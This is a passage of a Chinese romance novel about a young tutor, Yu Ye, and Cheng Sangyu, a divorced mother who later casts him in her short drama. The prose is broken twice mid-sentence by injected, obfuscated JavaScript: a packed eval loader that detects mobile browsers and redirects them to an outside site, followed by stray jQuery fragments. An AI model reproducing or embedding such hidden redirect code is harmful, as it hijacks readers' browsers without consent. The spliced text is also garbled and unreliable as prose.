斯言跟孔新语聊了一阵,想起正事:“孔老师,郁老师,我给你们带了礼物!”
说罢转身一阵风地回了卧室,片刻,又一阵风地跑了出来,手里多了两只礼品袋。
给孔新语的那个大一些,给郁野的那一个则更长一些。
两人接过道谢,暂且没打开。
程桑榆这时候笑说:“你们明天晚上有空吗?来家里吃顿饭?我亲自下厨。”
孔新语:“有有有!”
郁野没有作声。
程桑榆看向他。
他抬眼,目光与她对视,声音听来没有丝毫情绪:“没有。”
气氛微妙地冷了一瞬。
郁野虽然很冷淡,但其实不大会驳人面子,今天这样,十分反常。
程桑榆笑笑:“没有的话,那就我们再另找个时间吧。”
孔新语说:“桑姐你决定就好,我都可以。”
又聊了一阵,程桑榆问了问孔新语家里的事。
孔新语手机上来了条微信消息。
是卓景阳发来了一个“暗中观察”的表情包找存在感。
孔新语没回复,把手机锁屏,又聊了五分钟,适时终结话题,结束今天的拜访。
她既然要走,郁野也找不到什么理由独自继续待着,只好跟她一起起身。
两人走去门口换鞋,程桑榆斟酌片刻,也跟着走了过去,笑说:“我去便利店买点东西。我跟你们一起下去。”
郁野有些意外,系鞋带的动作停了一拍。
从楼栋到小区门口,孔新语与程桑榆又聊了一路。
两人认识得久,比起家长与家教,仿佛更似忘年的朋友,没有丝毫隔阂。
郁野始终沉默。
到了门口,漫无边际的话题总算告一段落。
程桑榆笑问孔新语:“小孔你是坐地铁还是?”
“我坐地铁!”孔新语指一指地铁站的方向。
“那你路上注意安全。”
孔新语点点头,同两人道了再见,向着地铁站小跑而去。
郁野站在原地。
他隐约有种预感,程桑榆可能是想单独跟他说两句话。
果真。
程桑榆目光看过来,朝着他走近半步,问道:“你帮我把油箱的油加满了?”
“嗯。”
“那你是想我直接给你转账,还是我请你吃饭?”
上回夜宵,这回开车送人。“还人情”这个措辞不准确,有点一笔勾销的意思。只是老是麻烦别人,她不大好意思,尤其这人还是比她小上十来岁的学生。
郁野目光落在她脸上。
不比空气更具实感的清淡目光,停留久了,却也能叫人微妙地不自在起来。
程桑榆正要开口,郁野说话了:“你请我吃饭吧。”
“好……”
“但是我有条件。”
“嗯。你说。”既然是请客,当然以客人的意愿为先。
“第一,餐馆我选。”
程桑榆点头。
“第二,就我们两个人。”
11.11
人遇到些许荒谬,但尚在合理范围内的事情时,似乎会出于本能地忽略其荒谬性,而强化它的合理性。
程桑榆愣了一下,旋即理解了方才为什么郁野会拂她的面子:上回吃夜宵中途说加人就加人,这回请客也要捎带上他人一起请。
他一定是觉得她不够尊重他。
程桑榆:“可以是可以……”
郁野等她的“但是”。
“……但是,虽然我是个离异有小孩的中年妇女,但从生理上讲,毕竟还是个女的,我想最好还是叫上你女朋友一起吧,你们挑餐馆,吃什么都行。”
郁野皱眉。
她那个抿嘴笑果然是这个意思
“孔新语不是我女朋友。”郁野不悦地解释,顿一下,补充道,“我没有女朋友。”
“啊……”程桑榆尴尬极了,“抱歉抱歉,我搞错了,我以为……”
不过想想也是,依照郁野的个性,小孔真要是他女朋友,他肯定会送她去地铁站,哪里会留在这里掰扯些有的没的。
“你这周几有空?”郁野不想叫她糊弄过去,乘胜追击。
“周六吧。斯言和她同学去看电影,我应该有空。”
“晚上?”
“嗯。”
“那周六下午5点,我过来找你。”
“要一起去?你把餐厅地址发我就行。”
“有点远。开车方便点。”
程桑榆比了一个“ok”的手势。
郁野掏出手机,打了一辆车。
程桑榆:“那我上去了?”
郁野点点头:“明天见。”
程桑榆转身往里走去。
郁野回头,注视她穿行于树影灯火间的身影。
他知道自己还没有完全弄清楚,所以还需要一再地确认,吸引他的究竟是什么。
可这个确认的过程,又怎知不是一种清醒状态下的“自投罗网”?
到家,郁野带阿加莎到小区里玩了一会儿,回去之后洗过澡,再回到书房,把斯言给他挑的礼物打开。
礼品袋里是一只黑色纸袋,印着烫银的“Harry Potter”的logo。再打开是深蓝色礼盒,海绵衬垫,装着一支魔杖。黑色杖身,造型简单,刻有繁复古奥的花纹。
是小天狼星·布莱克的魔杖。
郁野拍了张照片,发给程桑榆。
【YE:很破费。】
等了片刻,没看见回复,他丢下手机,擦干头发,去厨房冰箱里拿了瓶冰水,再回到书房时,手机上多了两条新消息通知。
一边喝水,一边上滑屏幕解锁。
【csy:[图片]】
【csy:这个不破费?】
图片是那本《绿山墙的安妮》立体书娃娃屋的照片。
那是1994年出版的中古版本,其价格与互动魔杖大致相当。
她真的很在意不要欠人人情。
郁野手指停在对话框许久,不知道回复什么。
把手机锁屏,往桌上一扔,随意从黑胡桃木的书架上取了一本书,在一旁的沙发上躺下。
书看不进去。
身体往下滑,头颈枕在扶手上,拿摊开的书本盖住脸。
/
周二和周三,郁野去给斯言补了两次课。
他授课不按书本编排的顺序来,而是根据斯言已经掌握的知识结构,做框架衔接。
譬如三年级下学期在第二章学了除数是一位数的除法,那么就可以直接衔接四年级上学期第六章除数是两位数的除法。
好比在搭建好的地基上砌墙,是一个自然而然的过程。
然而这两天,程桑榆都在加班,他即便留下来磨蹭地吃了夜宵,也没等到她回家见上她一面。
周四带阿加莎去江滩,斯言练习滑板,也是去跳广场舞的康蕙兰带她去的。
斯言玩滑板时似乎变了一个人,冷峻专注,什么都敢挑战,一如她的星座,一只蛰伏生长的幼狮。
郁野带着阿加莎溜了一圈,回到斯言练习的地方,她正好停下来稍作休息。
旁边一个卖冷饮的小摊,支了两张遮阳伞。
郁野请她喝点东西,她走过去拉开冷饮柜,又瞥见了装雪糕和冰淇淋的冰柜,转头问他:“郁老师,我想吃冰淇淋。”
“你妈在这里的话,准你吃吗?”
斯言摇头。
“那我也不能让你吃。”
“……好的吧。”
斯言拿了瓶苏打水,在椅子上走下。
郁野牵着阿加莎,坐在她斜对面。
“你妈妈明天加班吗?”郁野问。
“她这周都要加班。”
“周六呢?”
“不知道。也要吧。”
阿加莎过来蹭郁野拿着纯净水瓶的手,郁野从背包里拿出折叠水碗,把剩下的半瓶水倒进去,放在它面前。
沉默了一会儿,郁野忽然问道:“你妈妈她……离婚之前是不是没上班?”
“嗯。”斯言脚跟有一下没一下地踢着水泥地面,“她大学毕业工作没到半年就有我啦。姥姥说妈妈那个时候吐得很厉害,很辛苦,没办法兼顾工作,只好先辞职了。”
“你出生以后呢?没有重返职场?”
“姥姥说我8个月就出生了,是早产儿,三岁之前身体素质特别差,经常生病去医院,我妈妈不放心把我一个人留在家里。后来我上幼儿园,她才有空出去。但是没有找到很好的,因为她没有工作过,人家不要她。我爸爸那个时候,已经可以挣很多钱了,就劝她不要再找了,反正也没多少工资,不如照顾好家庭……但是,也是从那个时候开始,他们开始经常吵架。”
“吵得很凶?”
“……其实没有当着我的面吵,但是他们在阳台或者厕所里吵的时候,我是可以听到的。”
郁野“嗯”了一声。现在的房子,隔音这么差,楼上挪个椅子都能听见,又哪里有不透风的墙。
“那个时候感觉很害怕,也不知道他们在吵什么。好像是上一年级的时候,我突然就听懂了,我爸怪我妈妈花钱太快,可是她半年没给自己买过一次新衣服,那些钱都是给我花的……”
斯言低着头,无意识捏着手里的苏打水瓶,脸上有愧疚的神色,声音也低沉下去:“有一次,我爸喝了酒回来,又把我妈妈骂了一顿。我过去抱她,跟她说乐高我不要了,让她退掉,那天她抱着我哭得好伤心……我现在才懂,和乐高没关系,和钱花在谁的身上,也没关系。”
只和她自己不能挣钱有关系。
人天生慕强,只会尊重那些可以创造价值的人。
可是在家庭这个封闭的单位里,为维护家庭的日常所创造的劳动价值,却往往不会被承认。
“后来,他们就离婚啦。”
“你没反对吗?”
“他们说是吵架,其实更多时候,都是我爸单方面朝我妈发脾气。他工作不顺就会回家找茬,对我是笑眯眯的样子,对我妈妈又是另外一个样子。那个时候我想,如果离婚可以让我妈妈不受气的话,那么离婚也没关系。”
郁野看着斯言,一时没有作声。
如果斯言能够感知到的语言暴力,烈度为三级的话,那么极有可能,实际的烈度能够达到十级。
作为妈妈,她天然地承担了缓震材料的作用,吸收了那些,会对孩子造成极大创伤的冲击。
“现在我知道了,他们离婚是一件超级正确的事情。虽然现在我妈工作很忙,但是我喜欢看她特别有干劲的样子。不会有人再管她钱是怎么花的,她可以随时出去跟简阿姨一起吃饭,可以给自己买很贵很贵的新衣服,也可以买只开四天就会谢的玫瑰花。”
“她很了不起。”郁野说,“因为她把你养得很好。”
偶尔太过懂事以至于习惯性委屈自己,也是过去的影响没有完全消除干净的缘故。但完全可以想象,假以时日,程斯言会变成怎样自信耀眼的模样。
“那你的妈妈也很了不起。”斯言笑说,“因为郁老师你也很好。”
郁野低下头去,眼睛藏匿于阴影,过了半晌,没什么情绪地“嗯”了一声,伸出手去,摸一摸阿加莎的脑袋。
斯言歇过之后,继续练习。
郁野仍旧坐在原地。
公园广场人潮如织,他的影子孤零零地栖息在他脚下。
阿加莎仿佛感知到了什么,挨过来蹭一蹭他的裤脚。
他伸手摸了摸,“乖。”
手机骤然振动。
很意外,是程桑榆打来的语音电话。
郁野呼吸放缓,接通:“喂……”
那头一片嘈杂,程桑榆刚说了一个“喂”字,就有另一道声音响起:“郁同学,我是简念,你还有印象吧?”
“你好。”
简念的语气十分正式:“突然给你打电话有点冒昧,不好意思,是我让桑榆打的,想问你,能不能帮我们一个忙。”
“你先说。”
“我们原定周六拍摄的有个演员违约了,去了别的剧组,我们今天视频面了几个,外形都不大过关,想请问你愿不愿意来客串两集?”
郁野还没出声,听见程桑榆在那边劝:“我们还是再找别的吧,明天不是还有一天时间吗?郁野就是普通学生,露脸了万一影响到他的学习和生活……”
“所以不是还在问吗?”简念声音又靠近了,“片酬我们会按照市场价上浮50%支付,拍摄时间是周六上午八点到晚上八点……”
“能否麻烦你让我和程桑榆单独说两句话。”
“哦,好……”
过了一阵,那边的嘈杂消失了,程桑榆的声音重新响起:“喂。”
“你们周六晚上八点收工?”
“本来是计划周五拍的,场地没有协调到位,改到了周六。”话音稍顿,“不过你放心,我不会爽约的,工作我都安排好了,到时候我会提前走。”
“……我以为你打电话过来,是为了放我鸽子。”
程桑榆声音带笑:“我们新招了两个人,有些事可以放手给下面去做。我想你订餐馆肯定也麻烦,能不改期就尽量不改期。”
郁野低下头去。
心脏里好似有一粒火焰,在寂寥又璀璨地燃烧。
“我是经常被人放鸽子的体质。”郁野低笑一声。
“那你下次,被人爽约了就去买一张刮刮乐,包你中大奖。”程桑榆也跟着笑了笑,紧接着说回正题,“客串的事,你不用勉强,你毕竟是素人。我不好跟你保证你出演之后,生活会不会受到影响,所以……”
“刚刚有一秒钟……”
“嗯?”
“我怀疑你和你闺蜜,一个唱红脸,一个唱白脸,联手给我量身定制了一套杀猪盘。”
“……你是不是有点记仇啊,你天蝎座吗?”几分无语的语气。
郁野勾一勾嘴角,“确定8点能收工?”
“我们现在拍摄流程很标准化了,每一环时间把控很严格,即便是超时,也不会超过一小时。”
忽听阿加莎兴奋地“汪”了一声,从地上站起来。
郁野抬眼望去,整点到了,音乐喷泉开始喷水。
郁野拽一拽牵引绳,起身,“好。我答应了。”
/
开工是在八点,但化妆要早于这个时间。
程桑榆六点起床,六点二十出门。
开车买两杯咖啡,再去泊月公馆接人,到片场大约七点,留足一小时时间试妆和化妆,应当比较充裕。
走到一楼,推开黑漆的铁门,往外一看,倏地定住脚步。
郁野就站在楼栋对面的那棵梧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15185466|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
桐树下。
昨晚与他沟通细节,造型师建议如果有白色衬衫的话,自己穿过来更好,剧组虽然有,不见得合身。
此刻,他身上穿着白色衬衫与黑色西裤——想象不到作为学生,有什么场合需要他准备这样正式的穿着。这一身极其合衬,把他的年龄感稍往上提了提,却更显出一种霁月清风的清贵,现实中她没在第二人身上见过。
演他们这部剧的男主角,而今稍有名气的男网红,都稍逊一筹。
风摇影动,晨光如水洒落在衣服上,带着斑驳微凉的绿意。
程桑榆失神数秒。
郁野看过来:“早。”
“你怎么……”
“今天到家可能比较晚,所以早起先把狗遛了。”
程桑榆点头,“那去吃早餐?吃完我们过去正好来得及。”
“我买了。”
程桑榆看他,他一只手抄在长裤口袋里,另外一只手空空如也。
“在车上。”郁野说。
“那我去把车开过来……”
“坐我的吧。方便一点。”
程桑榆愣了一下,“你开车过来的?”
“嗯。”郁野没给她继续思考的时间,已经迈开脚步往外走去了。
枳花西路是条狭窄的双行道,沿路停满了机动车,一直在树影下走了六百多米,郁野从口袋里摸出钥匙按了一下。
程桑榆循声望过去,看见一部黑色的吉普牧马人。
她本来做好了会看见保时捷跑车的心理准备,还好并没有夸张到那种程度。
“你家里的车,还是……”
“我的。18岁生日礼物。”
郁长河自认为对待三个孩子一视同仁的方式:给小儿子和小女儿足够多的爱和陪伴,给长子不愁花的钱。
“没见你开过。”
“自行车更方便。”
这部车显然开得很少,内饰成色非常新,也没什么个性化的装饰。
“平常停在哪儿的?”
“车库。”
“怎么不开出去玩?”
“没空。既要实习,又要做家教。”
程桑榆笑了。
杯托里放着两杯咖啡,郁野递过来尚且温热的三明治。
“你不吃吗?”
“吃过了。”
程桑榆揭开三明治的包装,“你遛了狗,还吃了早餐,那你几点起的?”
“五点。”
“这么一点酬劳,你也太拼了。”
郁野不说话。
程桑榆咬一口三明治,“台词你背下来了吗?”
“背了。不过我没演过戏……”
“没事。大家都没什么演技,你能台词念出来不卡壳就行,不行我们可以后期配音。”
片场开过去半小时左右。
那是租借的一栋富丽堂皇的别墅,大理石地板光可鉴人,客厅悬吊几米长的水晶灯,两架楼梯一左一右地通往二楼平台,足够浮夸,足够贴合一般刻板印象里的豪门贵族。
客厅的沙发和茶几,都铺上了塑料保护膜,大约是怕弄脏了要赔偿。
一楼靠落地窗位置,两张可折叠的长椅支开,成了一个临时的化妆台。
进门之后,程桑榆便领着郁野飞快朝化妆台走去:“琪琪,‘顾星燃’的演员到位了,你先给他试妆。”
一时间,所有人都转头望了过来。
郁野没试镜,除了程桑榆、简念和小周,其他人都没见过。但简念说,包帅,见了就知道了。
此刻见到本人,大家都在想“包帅”是个什么苍白无力的形容词。
他演跟男主假装雄竞的私生子弟弟,男主还有什么胜算?
琪琪先回神,把椅子上堆着的衣服扫到一边,给人腾出位置。
郁野坐了下来。
琪琪:“请问怎么称呼?”
“郁野。”
“郁老师……麻烦你稍微往前面挪一点。”琪琪有几分紧张。
郁野配合地挪了挪椅子。
程桑榆走过去跟各部门核对准备进展,顺手拦了拦正打算偷拍郁野的某个工作人员,不认可地摇摇头。
那人吐吐舌,把手机收了起来。
任由琪琪往脸上刷粉底液,郁野在镜中追逐程桑榆的身影。
片场的程桑榆很不一样,严肃、冷峻、高效——玩滑板的程斯言,原来遗传的是她的这一面。
片刻,程桑榆把挂着一排西装外套的衣架推了过来。
定住脚步,走到琪琪身旁,抱住手臂,歪着头打量着郁野。
目光在他脸上停留片刻,微微皱眉,忽然俯身凑近。
郁野呼吸与心跳一同罢工。
几能感觉她的鼻息,轻缓拂过的微微气流。
后颈紧绷,搭在扶手上的手无声攥紧。
目光不知道应该落在那里,只好停驻在她的眼下。
这个瞬间漫长到好像不会结束。
程桑榆终于退回原处,转头问琪琪:“粉底液是不是深了一点?”
“给男演员用的这已经最白的色号了。”
“那不要扑这么厚,他皮肤好,又没什么瑕疵,厚了太假面不好看。”
“好,我改一下……”
程桑榆目光往下一瞥,这一回是落在了郁野的嘴唇上。
琪琪:“郁老师自然状态唇色就蛮好看了。”
程桑榆:“我知道。你给他压得没血色一点,更符合顾星燃那种阴暗爬行的个性。”
“好。”
程桑榆点头。
琪琪:“放心交给我吧桑姐。包好看。”
程桑榆退后,去挑衣架上的西装外套了。
郁野如溺水许久,轻缓地呼出一口长气。
白皙的耳朵红得透明,像拿光照过一样。
12.12
琪琪拿常给剧组女一号用的粉底液,重新调了一泵,瞟了眼郁野的黑眼圈,问道:“郁老师是不是昨天没休息好。”
“……嗯。”
挑西装的程桑榆转过头瞥他:“让你五点钟起床。”
郁野已经发现了,一旦成了程桑榆的熟人,她就没了那些虚礼与客套。
这话太熟稔太亲切,真像是他亲姐姐会有的语气。
粉底刷压在额头上,琪琪提醒:“别皱眉郁老师。”
郁野:“……”
郁野皮肤基本无瑕疵,给底妆省下不少功夫。
底妆定妆过后,琪琪手指套上干净的粉扑,开始给郁野画眼妆,“桑姐我想给他尝试一下有点邪气的那种眼妆。”
“好啊。最好化出一看就不是个好东西的效果,不然我怕观众三观被五官带歪。”
郁野清嗓,语调懒懒:“夸人就夸人,怎么还骂人啊。”
琪琪忍俊不禁。
拿眼线笔勾眼尾,琪琪忍不住感叹:“如果都是郁老师这种睫毛,假睫毛工厂要倒闭了。”
程桑榆又转头:“很长?”
“超长。”
郁野一瞬进入警戒状态。
还好,程桑榆并没有再次凑拢过来一看究竟。
妆化完,琪琪又将郁野的头发喷了些定型喷雾,抓出造型,随后拍拍手,喊程桑榆检验成果。
程桑榆回身端详,又打开手机摄像头,框在屏幕里查看。
琪琪脑袋凑过去,发出啧啧赞叹。
程桑榆手指停在拍摄键上,征求当事人意见:“我留张照片?”
郁野不大自在地点点头。
他显然不习惯面对镜头,拍下来的照片表情十分僵硬,全靠一张脸硬帅。
程桑榆收起手机,去拿衣架上自己挑出来的三件西装外套,问琪琪:“你觉得哪个好?”
“得上身才能看出来效果吧。”
程桑榆看向郁野,没说话,郁野已自发站起身。
“郁老师好高啊,身高多少?”琪琪问。
“187。”
程桑榆心想可别让简念听见,不然她一定超得意。
一个短剧剧组,衣服质量自然算不得多好,好的也要紧着先供应主角。好在都很干净,也都统一做过消毒。
程桑榆取下一件,递给郁野,他穿了半只袖子就脱下来了,尺码不合,小了一点。
遂换另一件。
这一件后摆无开衩,上身稍显老气保守,像个教养良好的世家公子。
程桑榆觉得气质不对,让他脱下又换了一件。
这一件更宽松,正派感稍减,但程桑榆还是觉得缺点味道。
都怪服化道经费有限,这种两三百的西装,太埋没这张脸了。
琪琪也叹:“郁老师适合穿圣罗兰呢。”
“多少钱一件?”
琪琪:“不贵。正价也就我四个月的工资吧。”
“……我们还不配。谢谢。”
琪琪笑出声。
程桑榆手指轻挠下巴,面有犹豫。琪琪瞧出来她不想将就,就说:“我们有件大衣才送过来的,还没穿过,要不要让郁老师试一试?”
程桑榆点头。
琪琪往旁边房间去了一趟,片刻拿来一件黑色大衣。
程桑榆接过,拿在手里抖一抖,递给郁野,“可能有点热,你先试试,等下开拍了冷气我们会开低一点。”
“西装脱吗?”郁野今天是全程配合的姿态。
“不脱,直接套外面。”
他点头接了大衣,双臂套进袖管,拎住衣襟正了正,再抬眼,对上程桑榆和琪琪略显呆滞的表情。
耳根又似开始升温。
琪琪:“桑姐我觉得这身很有那个味儿了,你觉得呢?”
资源和时间都有限,又是个三集下线的配角,雕琢至此,其实已经足够了,旁边还有其他人等着化妆,程桑榆不好一直霸占着琪琪,于是便点头通过。
郁野还站着没动,低头问程桑榆:“大衣可以脱了吗?”
程桑榆没答话,或许好的素材就是能激发人的创作欲望,她始终有点儿意犹未尽。
她转身,扒拉桌子上的饰品盒,翻到一只耳骨夹,眼前一亮。黑色,缠绕的蛇形,她拿起来对照镜子,在自己耳朵上比了比。
继而勾一勾手指,示意郁野低头。
郁野手掌往桌沿上一撑,屏息,把头低了下去。
程桑榆踮脚,一只手轻轻捏住了他的耳朵,将蛇形耳骨夹夹了上去。
微热的是指尖,微凉的是金属质地。
郁野垂眸,偏过目光,去瞧她的脸。严肃认真,像是皮格马利翁正在雕刻其最伟大的作品。
温热呼吸拂过颈侧皮肤,那一片血液迅速奔流,心跳早已不受控制,频率错乱,如雷扪动。
她怎么这样心无旁骛,不知道只要他抬起手臂,就能轻易将她扣入怀中,是在工作中全然忘记了她自己的性别属性,还是根本……没把他当做异性。
心乱如麻的时候,程桑榆呼吸退远了。
她盯住他的耳朵,露出满意微笑。郁野不得不抬眼去看镜子,黑色灵蛇蜿蜒于耳骨之上,蛇尾向着耳窝,蛇头贴于耳垂。
程桑榆仿佛仍觉不够,转身再去扒拉饰品盒,找到两枚一粗一细的山寨克罗心的戒指。
一把把他的手抓了过来,套上食指。
快得郁野都来不及有所反应,手就已经松开了。只有手指上,残留不真实的触感。
到这里,程桑榆总算满意,指一指他身后的椅子:“坐下。”
不算强烈的命令语气,却叫心脏一阵悸颤。
不由自主退后,坐了下来。
程桑榆逐一发出命令:
“翘一下腿。”
“坐得懒散一点……对。”
“这样转一下你手指上的戒指。”
“抬头看我。”
郁野一一照做。
程桑榆瞳孔微张,呼吸一滞。
黑色大衣把年轻男人衬得病态苍白,如久居黑暗的吸血鬼,带着一点阴沉沉的病气。脸上毫无表情,却因把玩戒指的动作,而显出戏谑般的漫不经心。目光阴郁,好似耳骨上蛰伏的蛇,即便下一秒带毒蛇牙就会钻入心脏,也会有纯洁灵魂自愿献祭。
他完全就是“顾星燃”。
她创造的,三流剧本里的三流角色,这一刻却有一流生动的灵魂。
“怎么样你们奇迹郁郁玩得……”简念过来确认进度,瞥见郁野,也是一愣,“我靠……”
这一句引得大家纷纷看过来。
据说当年拍《泰坦尼克号》,莱昂纳多去试镜,整栋大楼的女员工都跑去看他。
此刻,在这个片场得到了小规模的复现。
这么多双眼睛的炯炯注视之下,郁野撑不住了,“程桑榆……”
程桑榆回神。
“你们真的开空调了吗?”
“哦……你脱下来吧脱下来吧,可以了。”
郁野顺次脱下大衣和西装外套,搭在扶手上,问程桑榆:“洗手间在哪里?”
程桑榆指一指,“那边。”
郁野面无表情地走了过去。
豪宅的洗手间大得惊人,灯光亮得人眼前发花。
郁野走去洗手台前,拧开了水龙头,手指按住戒指,预备摘下来,却又作罢。
抬头往镜子里,即便涂了粉底液,也快要盖不住从皮肤里泛出来的红色。
人对于自己长得好不好看这件事,不可能没有基本认知,因为中国人一贯直接,路上遇见个漂亮小孩,会脱口而出“好漂亮”。
而不漂亮的,会夸皮肤白,夸眼睛大,夸可爱,夸个子高……就是不会违心说“漂亮”。
他小时候听过无数句“这个男孩比女孩还漂亮”。
后来,当面夸赞的“漂亮”,变成了窃窃私语的“好帅”。
被夸得多了人也变得麻木,偶尔还会觉得烦:是是是,那又怎样呢?对于一个习惯在人群中降低存在感的人,长得好看是一项毫无用处的优点。
可是,他从来没有想过,有一天自己会因为某个特定异性的注视与欣赏,这样的不知所措。
郁野接了一捧水,想起来脸上带妆不能洗,只好深深呼吸,让面颊与颈项的热度尽快退散。
蛇形黑色金属还贴在耳骨上,温度已和体温趋同,他轻易就能回想起她手指的触感,轻柔又干燥。
水声哗哗,持续好一阵,郁野心跳终于正常。
不再这样局促,才走了出去。
环视一圈,没看见程桑榆的身影,他坐着化妆的那张椅子,也被人占据了。
客厅里摆着数张露营椅,那里坐了几个带妆的俊男美女,大约都是今天拍戏的演员。
郁野在最边缘的空着的那张椅子坐了下来,那几个演员好奇地打量他,更有主动打招呼,问他网上的id是什么,怎么好像从来没有刷到过他。
郁野态度很不热切,旁人问了两句也就作罢,不再自讨没趣。
坐着等了一会儿,小周和一个女生一块儿进来了,手里提了几杯咖啡。
她俩走过来,把咖啡一一分发下去。
到了郁野这里,没有了。
小周抓一抓头发:“……完了我少统计了一个,对不起啊郁老师我现在去买!”
郁野摇头:“没关系。我不用。”
“那你喝水吗我给你拿瓶水过来?”
郁野没什么所谓地点点头。
片刻,小周亲自给他拿了瓶水过来,又再次道歉。
离开工还有一会儿,其他演员都聚在一块儿闲聊,看得出来他们合作得多,彼此都很熟悉。
郁野没掺合,也没兴趣,点开手机里程桑榆传给他的剧本,继续熟悉台词。
其实都背熟了,他记忆力非常好,欠缺的,大约是顺利把这些羞耻台词念出来的信念感。
忽觉眼前有影子晃了晃。
一只咖啡杯递到了面前。
郁野
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15191427|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从手机屏幕抬起目光,瞥一眼那只手,立即抬起头。
程桑榆笑:“听说某个人没有拿到咖啡。”
“没事。私生子待遇是这样的。”
程桑榆莞尔。他真的很有冷幽默的天赋。
她把手里的咖啡又往前递了一下,郁野瞥见了那上面的标签,冰美式。
他更喜欢拿铁,于是摇了摇头。
“这杯我的,你放心喝吧。”
郁野立即伸手接过,“谢了。”
手指捏住冰冷的纸杯,顿一下,“中午的盒饭,私生子有份吗?”
程桑榆哈哈大笑,“刚刚特意叮嘱过了,不会再漏掉你的。”
她按手机侧边按钮,看了看时间,“大概还有十分钟我们就开始,到时候导演——也就是简念会告诉你怎么拍,不用紧张。”
“她在我并不会紧张。”
“因为她是熟人是吧?”
“……不是这个意思。”
程桑榆露出不解的表情,他含吸管喝了一口咖啡,摇摇头,不解释什么。
“我去跟我们摄像沟通下,等会过来叫你。”
郁野点头。
没过多久,程桑榆走了过来。她今天穿的上一回换灯泡的那一身,衬衫衣袖挽起,手里捏着卷成筒状的剧本,头发也盘了起来,显得利落十足。
“简念和我们摄影师沈老师想让你先试一下,顺利的话我们就直接开始;不顺利就先把其他人的戏份拍了,最后把充足的时间留给你。你觉得可以吗?”
郁野点头起身。
琪琪抱着西装外套和羊绒大衣,他走过去穿上,正要继续往前走,听见程桑榆说“稍等”。
她踮脚,手指理了理他后颈的衣领,又轻拍了一下,抚平整。
他在回想,签订的劳务合同里有无工伤赔偿的条款。
心率失常可以被鉴定为工伤吗?
拍摄场地是一楼书房,齐顶书柜里,摆满了一看就是空壳的装饰书籍。
靠角落的一张黑色皮质扶手椅,倒似乎是真货。
灯光师还在调整灯光,一旁站着穿着晚礼服的女主演。
简念这时候指挥道:“小郁你在这个扶手椅上坐下来,我们看看光。”
郁野依言坐下。
琪琪走到他跟前去,帮忙调整大衣外套和头发。
程桑榆站在他身旁,这时候低头说了句:“别紧张。有哪里觉得不舒服不适应就和我说。”
郁野点点头。
简念走过去看了看摄像机里的画面,指挥灯光师对灯光布置作微调。
郁野忽听身后什么东西“啪”的一响,紧跟着程桑榆发出一声闷哼。
他登时转头看去,却见本在椅子侧后方的落地灯,不知道什么时候栽了下来。
程桑榆眼疾手快,一把撑住了灯杆,而那重而巨大的金属灯罩,整个砸在了她的手臂上。
大家都吓得不轻,琪琪站得近,第一个去挪灯,“桑姐你没事吧?”
郁野霍地起身,抬手帮忙撑起了灯罩。
程桑榆抬眼往他头上看,“没砸到你吧?”
急切而关心的目光。
郁野的第一反应是失语。
上一回面对这样关切的神色,久远得在记忆库里都调取不到了。
“……你应该问你自己有没有事。”郁野绷住脸。
程桑榆笑:“没事,我都没感觉到疼,只是有点吓人。”
这时候道具师也走了过来,把灯挪到一旁,调查突然栽倒的原因。
程桑榆把自己身上的衬衫外套褪了下来,搭在臂弯,露出肩膀和手臂,自己扭头瞧了瞧,又捏了捏,确定没伤到哪里,朝着郁野扬了扬下巴,笑说:“看,我就说吧?”
郁野嘴唇抿作一线。
她身上就穿着一件白色吊带衫,从锁骨至手臂的一片皮肤,在灯下莹莹生光。
请问他应该看哪里才不是冒犯?
道具师很快调查清楚,那落地灯的高度是可调节的,但不知道是谁调完了却没有拧紧螺丝,灯罩重,头重脚轻,站不稳就栽下来了。
道具师说完神色惴然地瞧着她,像是怕被责骂。
程桑榆听完只点了点头,忽然转过身去,轻拍了两下手掌。
片场所有人都转过头来。
“我强调个事。从这一场开始,片场的所有道具,在演员进场之前,都请负责的部门逐项检查,排除安全隐患。今天回去之后,我们会把要求写进工作手册里加以规范。我们不要紧,各位演员老师伤到了,影响工作和未来发展就不好了。下次再发生这样的状况,就要追责到人了。”
转头,看向道具师,笑了笑:“还愣着?”
道具师:“桑姐我这就去检查!”
事情处理完毕,程桑榆才隐约察觉,有一道目光一直注视着她。
抬眼,对上郁野的眼睛。
极为幽深而锐利的目光,叫她骤然惊了一下。
好像平日的草木不惊,只是他的假象一样。